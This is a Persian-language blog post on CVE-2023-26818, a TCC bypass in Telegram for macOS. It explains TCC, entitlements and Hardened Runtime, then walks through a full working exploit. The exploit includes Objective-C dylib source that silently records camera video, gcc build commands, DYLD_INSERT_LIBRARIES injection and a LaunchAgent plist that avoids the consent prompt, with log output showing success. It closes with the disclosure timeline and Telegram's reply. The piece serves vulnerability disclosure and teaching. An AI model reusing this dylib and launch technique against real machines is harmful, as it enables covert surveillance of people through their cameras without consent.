محقق امنیتی گوگل ، Dan Revah ، یه آسیب پذیری با شناسه CVE-2023-26818 در نسخه macOS تلگرام کشف و گزارش کرده که امکان دور زدن TCC رو میده.
در مقاله ای که ایشون منتشر کرده با تزریق Dynamic Library (Dylib ) امکان دسترسی به دوربین دستگاه بدون نیاز به اجازه کاربر میگیره و به مدت 3 ثانیه ویدیو رکورد میکنه و دخیره میکنه.
نکته ای که وجود داره اینه که در macOS حتی کاربر RooT هم دسترسی به میکروفن و ضبط تصویر و … رو نداره ،مگه اینکه برنامه در طول دسترسی اولیه به برنامه، رضایت مستقیم کاربر رو دریافت کرده باشه. (یا بصورت دستی اعمال بشه).
مفاهیم پایه :
برای درک آسیب پذیری و نحوه اکسپلویت اون، نیاز هستش که در ابتدا یسری مفاهیم رو بدونیم.
- Transparency, Consent, and Control (TCC) : یه مکانیزمی هستش که دسترسی به برخی مناطق خاص که بعنوان privacy-protected (محافظت از حریم خصوصی) مشخص شدن رو مدیریت میکنه. مجوز دسترسی به این مناطق، با بدست آوردن رضایت از کاربر یا شناسایی هدف کاربر از طریق یه اقدام خاص فعال میشه. مثلا وقتی شما برنامه ای رو نصب میکنید یسری مجوزها رو تایید میکنید . گاهی اوقات هم مثلا میخوایین استوری بزارید و دوربین فعال میشه.
- مجوز (Entitlement) :مواردی هستن که به یه باینری خاص بمنظور کسب امتیازات خاص داده میشه. مثلا، برای اینکه یه برنامه کاربردی به میکروفون دسترسی پیدا کنه، باید با مجوز مربوطه امضا بشه و پس از دسترسی اولیه برنامه به میکروفون، از کاربر اجازه دریافت کنه. اینجا میتونید در این خصوص اطلاعات بیشتری کسب کنید.
- Hardened Runtime :بهمراه System Integrity Protection (SIP) ، از یکپارچگی زمان اجرای نرم افزار ،از طریق جلوگیری از اجرای برخی اکسپلویتها، مانند تزریق code injection ، dylib ، دستکاری فضای حافظه پردازش دیگه، محافظت میکنه.بطور کلی ،Hardened Runtime برنامه ها رو امن تر میکنه. در IOS برای آپلود یه برنامه در App Store ، اون برنامه باید با مجوز Hardened Runtime امضاء شده باشه. البته این قضیه در macOS نیاز نیست.
آسیب پذیری و اکسپلویت:
توسعه دهندگان میتونن برخی اقدامات امنیتی رو با استفاده از یسری مجوزهای خاص که باعث کاهش امنیت در برخی فضاها میشه ،کاهش بدن. مثلا با مجوز com.apple.security.cs.allow-dyld-environment-variables ، یه باینری میتونه dylib injection رو از طریق یه متغیر محیطی دریافت کنه. البته اگه باینری hardened شده باشه، نمیتونیم کتابخونه ای که توسط اون تیم امضاء نشده رو تزریق کنیم. خب بنابراین ما نیاز داریم از یه مجوز دیگه مثله com.apple.security.cs.disable-library-validation برای لوود کتابخونه مدنظرمون که توسط همون تیم امضاء نشده باشه، استفاده کنیم. این مورد دومی بیشتر برای برنامه هایی کاربرد داره که امکان اضافه کردن پلاگین یا توسعه رو به افراد دیگه میدن.
DYLD_INSERT_LIBRARIES یه متغیر محیطی هستش که حاوی لیستی از کتابخونههایی هستش که قبل از راهاندازی برنامه لوود میشن. بنابراین اگه موردی رو به این لیست تزریق کنیم، میتونیم باعث لوود اون کتابخونه بشیم.
ما میتونیم ،تزریق از طریق متغیر محیطی در چندین مورد استفاده کنیم :
- وقتی برنامه بعنوان Hardened Runtime تعریف نشده و در نتیجه امکان تزریق Dylib از طریق متغیر محیطی فراهم هستش.
- وقتی برنامه بعنوان Hardened Runtime تعریف شده اما برنامه نویسی یسری مجوز هم تعریف کرده :
- Disable-library-validation که امکان استفاده از هر Dylib رو بدون اینکه بررسی بشه کتابخونه یا فایل توسط کی امضاء شده رو به ما میده. این مجوز اغلب در برنامه هایی که نیاز به توسعه افزونه توسط جامعه رو دارن استفاده میشه.
- com.apple.security.cs.allow-dyld-environment-variables محدودیتهای Hardened Runtime رو کم میکنه و همچنین امکان تزریق با استفاده از DYLD_INSERT_LIBRARIES رو فراهم میکنه.
پس بخواییم تا اینجا یه خلاصه داشته باشیم، اینجوریه که ما در ابتدا برنامه رو بررسی میکنیم ببینیم که آیا Hardened Runtime فعاله یا نه؟ اگه نبود که دستمون بازه و ما میتونیم Dylib خودمون رو از طریق متغیر محیطی به برنامه تزریق کنیم. اما اگه فعال بود باید ببینیم که آیا برنامه نویس مجوزی رو اضافه کرده که امکان سوء استفاده رو به ما بده یا نه. دو تا مجوز هست که اینجا به درد ما میخوره : یکی Disable-library-validatio که امکان لوود dylib دلخواه میده. دومی allow-dyld-environment-variables که امکان تزریق از طریق متغیر محیطی DYLD_INSERT_LIBRARIES رو میده.
برای بررسی امضاء و مجوزهای تلگرام در MacOS اونو از اپ استور دانلود میکنیم و با استفاده از دستور codesign این موارد بررسی میکنیم :
همونطور که مشاهده میکنید، تلگرام ، hardened نشده، چون اون قسمتی که هایلایت شده عبارت None رو داره. این یعنی این که تلگرام نسخه ای که در اپ استور قرار داده رو hardened نکرده و ما میتونیم از DYLD_INSERT_LIBRARIES بدون در نظر گرفتن مجوزهای موجود (در شکل بالا بصورت XML هستش) استفاده کنیم.
برای تزریق dylib در ابتدا ما باید یه dylib در Objective-C ایجاد کنیم. بنابراین میخواییم که یه dylib بنویسیم که از دوربین فیلم بگیره و در یه فایلی ذخیره کنه. اما در ابتدا برای تست، صرفا میخواییم یه dylib داشته باشیم که اگه بصورت موفقیت آمیز لوود بشه، یه پیامی رو برای ما روی صفحه چاپ کنه.
یه فایل بنام telegram.m ایجاد میکینم و کد زیر رو توش میریزم:
1 2 3 4 5 6 |
#import <Foundation/Foundation.h> attribute((constructor)) static void telegram(int argc, const char **argv) { NSLog(@"[+] Dynamic library loaded into %@", argv[0]); } |
کد بالا یه پیامی رو موقع لوود dylib چاپ میکنه. برای اینکه مشخص کنیم، dylib ما قبل از اجرای تابع اصلی برنامه ، اجرا بشه ، از attribute((constructor)) استفاده شده. یعنی تابع telegram ما زودتر از تابع اصلی برنامه تلگرام اجرا میشه.
کتابخونه رو با استفاده از gcc کامپایل میکنیم :
1 |
$ gcc -dynamiclib -framework Foundation telegram.m -o telegram.dylib |
خب حالا میتونیم این کتابخونه ایجاد شده رو با استفاده از متغیر محیطی DYLD_INSERT_LIBRARIES لوود کنیم :
1 |
$ DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Telegram.app/Contents/MacOS/Telegram |
خب ، اگه همه موارد درست باشه، پیام زیر دریافت میکنید :
1 |
[+] Dynamic library loaded into /Applications/Telegram.app/Contents/MacOS/Telegram |
اگه همین کتابخونه رو در یه برنامه دیگه ای مانند Safari بخواییم لوود کنیم :
1 |
DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Safari.app/Contents/MacOS/Safari |
پیام بالا رو دیگه نمی گیریم، چون اگه Safari رو با دستور Codesign بررسی کنیم ، خروجی مشابه زیر رو داریم که نشون میده باینری اون hardened شده:
1 2 3 4 5 6 7 8 9 |
Executable=/Applications/Safari.app/Contents/MacOS/Safari Identifier=com.apple.Safari Format=app bundle with Mach-O thin (x86_64) CodeDirectory v=20100 size=321 flags=0x2000(library-validation) hashes=3+5 location=embedded Signature size=4547 Info.plist entries=41 TeamIdentifier=not set Sealed Resources version=2 rules=13 files=2227 Internal requirements count=1 size=64 |
خب اگه تا اینجا همه چیز خوب پیش رفته باشه، نوبت نوشتن کد اصلی ما هستش. ما میخواییم به مدت سه ثانیه از دوربین فیلم بگیریم و اونو ذخیره کنیم. برای این کار به فایل telegram.m خودمون برمیگیردیم و کد زیر توش قرار میدیم :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
#import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> @interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate> @property (strong, nonatomic) AVCaptureSession *captureSession; @property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput; @property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput; - (void)startRecording; - (void)stopRecording; @end @implementation VideoRecorder - (instancetype)init { self = [super init]; if (self) { [self setupCaptureSession]; } return self; } - (void)setupCaptureSession { self.captureSession = [[AVCaptureSession alloc] init]; self.captureSession.sessionPreset = AVCaptureSessionPresetHigh; AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo]; NSError *error; self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error]; if (error) { NSLog(@"Error setting up video device input: %@", [error localizedDescription]); return; } if ([self.captureSession canAddInput:self.videoDeviceInput]) { [self.captureSession addInput:self.videoDeviceInput]; } self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; if ([self.captureSession canAddOutput:self.movieFileOutput]) { [self.captureSession addOutput:self.movieFileOutput]; } } - (void)startRecording { [self.captureSession startRunning]; NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.mov"]; NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath]; [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self]; NSLog(@"Recording started"); } - (void)stopRecording { [self.movieFileOutput stopRecording]; [self.captureSession stopRunning]; NSLog(@"Recording stopped"); } #pragma mark - AVCaptureFileOutputRecordingDelegate - (void)captureOutput:(AVCaptureFileOutput *)captureOutput didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray<AVCaptureConnection *> *)connections error:(NSError *)error { if (error) { NSLog(@"Recording failed: %@", [error localizedDescription]); } else { NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path); } } @end __attribute__((constructor)) static void telegram(int argc, const char **argv) { VideoRecorder *videoRecorder = [[VideoRecorder alloc] init]; [videoRecorder startRecording]; [NSThread sleepForTimeInterval:3.0]; [videoRecorder stopRecording]; [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]]; } |
و دورباره با GCC کامپایلش میکنیم . با توجه به اینکه از Foundation و AVFoundation در کدومون استفاده کردیم، موقع کامپایل اینا رو هم به GCC میدیم :
1 |
gcc -dynamiclib -framework Foundation -framework AVFoundation telegram.m -o telegram.dylib |
و در نهایت به همون روش قبلی ، dylib رو با استفاده از متغیر محیطی DYLD_INSERT_LIBRARIES به تلگرام تزریق میکنیم :
1 |
$ DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Telegram.app/Contents/MacOS/Telegram |
اگه همه چیز اوکی باشه، پیام زیر رو دریافت میکنیم :
1 |
"Terminal" would like to access the camera. |
پیام بالا نشون میده که برنامه Terminal.app به دوربین دسترسی داره. در macOS وقتی یه برنامه رو از طریق ترمینال اجرا میکنیم، برنامه ویژگی های سندباکس اون رو به ارث میبره. در نتیجه برنامه ترمینال ، دسترسی ما رو به دوربین محدود میکنه.
خب حالا باید چیکار کنیم؟ باید این سندباکس رو هم دور بزنیم. برای اینکار باید برنامه رو به یه روش دیگه ای اجرا کنیم. یعنی به جای استفاده از ترمینال از یه برنامه دیگه ای مثله LaunchAgents استفاده کنیم . LaunchAgents امکان اجرای پورسس در پس زمینه و بصورت زمانبندی شده رو میده.
برای ایجاد یه LaunchAgent جدید، یه فایل بنام com.telegram.launcher.plist در دایرکتوری ~/Library/LaunchAgents ایجاد میکنیم . LaunchAgent رو بصورت XML تعریف می کنیم و DYLD_INSERT_LIBRARIES رو بصورت زیر توش تعریف میکنیم :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.telegram.launcher</string> <key>RunAtLoad</key> <true/> <key>EnvironmentVariables</key> <dict> <key>DYLD_INSERT_LIBRARIES</key> <string>/tmp/telegram.dylib</string> </dict> <key>ProgramArguments</key> <array> <string>/Applications/Telegram.app/Contents/MacOS/Telegram</string> </array> <key>StandardOutPath</key> <string>/tmp/telegram.log</string> <key>StandardErrorPath</key> <string>/tmp/telegram.log</string> </dict> </plist> |
حالا LaunchAgent رو اجرا میکنیم :
1 |
$ launchctl load com.telegram.launcher.plist |
با توجه به اینکه تلگرام با یسری ویژگی سندباکسی (Sandbox profile) تعریف شده، بنابراین فایل ما هم براساس این تعاریف ذخیره میشه. برای درک ویژگی های سندباکس هم میتونید اینجا برای تلگرام رو مشاهده کنید و اینجا هم این تعاریف رو برای فایرفاکس و اسکایپ مشاهده کنید. اگه /tmp/telegram.logs رو بررسی کنیم، لاگ و محل ذخیره رو مشاهده میکنیم :
1 2 3 4 5 |
$ cat /tmp/telegram.log 2023-05-15 12:28:49.691 Telegram[84946:735528] Recording started 2023-05-15 12:28:52.808 Telegram[84946:735528] Recording stopped 2023-05-15 12:28:52.814 Telegram[84946:735528] Recording finished successfully. Saved to /var/folders/0k/f6bdvnb52kb1wqkq2qgd07nh00mkw1/T/ru.keepcoder.Telegram/recording.mov |
خب این نشون میده که ما بطور موفقیت آمیز تونستیم Dylib خودمون رو تزریق کنیم ، بدون در نظر گرفتن مجوزهای موجود در تلگرام و از دوربین کاربر ، بدون اینکه متوجه بشه، تصویر بگیریم.
چیزی که جالبه ، به نظر میشه، این روش رو روی برنامه های دیگه هم تست کرد و حتی تا حدودی خودکارش کرد تا روی طیف وسیعی از برنامه ها بررسی بشه.
تلگرام زیر بار نرفت …
این آسیب پذیری علاوه بر اینکه یه نقص امنیتی هستش، به دلیل بی توجهی تلگرام نسبت به آسیب پذیری هم سر و صدا داشته.
محقق، آسیب پذیری رو در 2 فوریه 2023 ، 13 بهمن 1401، کشف و به تیم امنیتی تلگرام گزارش کرده. اما بعد از مکاتبات زیاد بی نتیجه، نهایتا در 15 مه 2023 ، 25 اردیبهشت 1402، این گزارش منتشر کرده.
تیم RestorePrivacy با روابط عمومی تلگرام تماس گرفته و در خصوص آسیب پذیری و رفع اون ازشون سوال پرسیده. در نهایت یک روز بعد از انتشار گزارش، تلگرام گفته که این آسیب پذیری کاربران رو بطور پیش فرض هدف قرار نمیده. کاربر باید مثلا یه بدافزاری رو روی سیستمش نصب کنه تا اکسپلویت بشه. این مسئله بیشتر موضوع دور زدن مجوزهای اپل هستش تا اینکه مرتبط با تلگرام باشه. چون مهاجم میتونه با این روش ، برنامه هایه دیگرو هم تارگت کنه. هدف کلی آسیب پذیری بودن مجوز و سندباکس اپله.
تلگرام همچنین اعلام کرده که با همه این موارد، یه نسخه اصلاحیه برای رفع این آسیب پذیری هم منتشر میکنه.